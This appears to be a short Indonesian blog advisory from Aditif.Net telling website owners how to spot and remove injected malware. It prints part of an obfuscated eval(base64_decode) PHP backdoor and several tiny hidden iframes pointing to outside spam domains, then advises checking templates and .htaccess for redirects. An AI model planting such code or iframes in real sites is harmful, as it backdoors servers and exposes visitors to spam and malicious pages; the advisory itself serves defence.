Waspada jika menemukan beberapa kode mencurigakan berikut.
Beberapa link yang disisipkan dalam web anda adalah web spam yang berusaha meningkatkan ranking SEO dengan cara curang sehingga teridentifikasi sebagai BlackHat SEO Spam dan masuk ke dalam daftar blacklist database SERP.
Pastikan anda melakukan update keamanan website dengan segera.
Silahkan periksa seluruh file web anda dan hapus kode malware berikut ini.
1. Skrip Malware
eval(base64_decode("CiRhdXRoX3Bhc3MgPSAiN2U5NDI0YmZhMTJkMWYyYWQzMjQ2M2FjMWE4MGU0MDciOyAjIHRlc3QKJGNvbG9yID0 .....
b24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOwpleGl0Owo="));
2. iFrame Blackhat SEO Spam
<iframe width="10" height="10" src="http://homeschoolconnect.co.uk/wp-content/rotr/" frameborder="0"></iframe> <iframe width="10" height="10" src="http://homeschoolconnect.co.uk/wp-content/rotr/" frameborder="0"></iframe> <iframe width="10" height="10" src="http://expack.net/images/rotr" frameborder="0"></iframe> <iframe width="10" height="10" src="http://expack.net/images/rotr" frameborder="0"></iframe>
3. Link Spam dibagian template (biasanya dibagian file index.php)
Cek template folder admin & publik.
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4. Cek juga isi dari file .htaccess – pastikan bebas dari redirect ke web lain.
Semoga membantu.
Salam Sukses,
Aditif.Net